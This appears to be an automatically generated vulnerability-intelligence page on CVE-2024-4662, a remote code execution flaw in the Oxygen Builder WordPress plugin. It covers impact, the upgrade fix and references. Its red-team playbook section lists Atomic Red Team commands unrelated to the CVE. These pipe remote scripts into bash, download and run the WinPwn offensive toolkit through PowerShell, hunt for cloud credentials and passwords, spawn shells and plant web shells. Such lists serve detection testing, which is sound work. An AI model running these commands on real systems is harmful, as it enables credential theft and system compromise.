CVE-2024-4662
Overview
This vulnerability is a Remote Code Execution (RCE) flaw caused by improper handling of post metadata in the Oxygen Builder WordPress plugin. The root cause is the storage of custom data in post metadata fields without an underscore prefix, which bypasses WordPress’s default protections. This flaw affects the plugin’s post metadata management component in all versions up to and including 4.8.2.
Vulnerability Description
The Oxygen Builder plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.8.2 via post metadata. This is due to the plugin storing custom data in post metadata without an underscore prefix. This makes it possible for lower privileged users, such as contributors, to inject arbitrary PHP code via the WordPress user interface and gain elevated privileges.
Impact
An attacker with contributor-level access can exploit this vulnerability to execute arbitrary PHP code remotely, elevating privileges to administrator level. No user interaction beyond contributor authentication is required, and the attack can be performed over the network via the WordPress interface. The vulnerability enables full site compromise including data theft, site defacement, and persistent backdoors, as reflected by the CVSS vector indicating network attack with low complexity and partial privileges (AV:N/AC:L/PR:L/UI:N).
Solution
Upgrade the Oxygen Builder plugin to version 4.8.3 or later, as detailed in the vendor advisory at https://oxygenbuilder.com/oxygen-4-8-3-now-available-security-update/. This update corrects the handling of post metadata keys by enforcing the underscore prefix to prevent unauthorized code injection. No additional workarounds are documented by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Oxygen Builder plugin for WordPress stems from its handling of post metadata, specifically the failure to properly sanitize and validate custom data entries. This oversight allows for the storage of arbitrary data without the necessary underscore prefix, which is a common convention in WordPress to prevent unintended access to metadata. As a result, lower-privileged users, such as contributors, can exploit this weakness to inject malicious PHP code through the WordPress user interface. This capability enables an attacker to execute arbitrary code on the server, leading to potential full system compromise.
Exploitation of this vulnerability can occur through various attack vectors. An attacker with contributor-level access can create or modify posts, embedding malicious code within the post metadata. Once the post is saved, the injected code is executed by the server when the post is accessed, allowing the attacker to escalate privileges or perform unauthorized actions. This scenario is particularly concerning in multi-user environments where roles and permissions are not strictly enforced. Additionally, the ease of access to the WordPress dashboard makes it a prime target for attackers seeking to exploit less secure user accounts.
The real-world impact of this vulnerability is significant, especially for organizations that rely on WordPress for their web presence. Successful exploitation can lead to unauthorized access to sensitive data, defacement of websites, or even complete server takeover. The business risks associated with such incidents include reputational damage, loss of customer trust, and potential legal ramifications due to data breaches. Furthermore, the financial implications of remediation efforts and potential downtime can be substantial, particularly for e-commerce sites or businesses that rely heavily on their online platforms.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the Oxygen Builder plugin and other WordPress components is crucial, as updates often include patches for known vulnerabilities. Additionally, employing security plugins that monitor for unusual activity and unauthorized changes in post metadata can help identify potential exploitation attempts. Organizations should also enforce strict user role management, ensuring that only trusted individuals have the ability to create or modify posts. Conducting regular security audits and vulnerability assessments can further bolster defenses against such threats.
In conclusion, the vulnerability within the Oxygen Builder plugin represents a critical risk to WordPress installations, particularly those with multiple user roles. The potential for remote code execution by lower-privileged users underscores the importance of secure coding practices and robust user management. By adopting proactive detection and mitigation strategies, organizations can safeguard their web applications against exploitation and maintain the integrity of their digital assets. As the threat landscape continues to evolve, vigilance and adherence to security best practices remain paramount in protecting against such vulnerabilities.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-4662 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/8706c3f6-64e0-440e-a802-5c80d9cc3643?source=cve |
| oxygenbuilder.com |
GitHub CVE
|
https://oxygenbuilder.com/oxygen-4-8-3-now-available-security-update/ |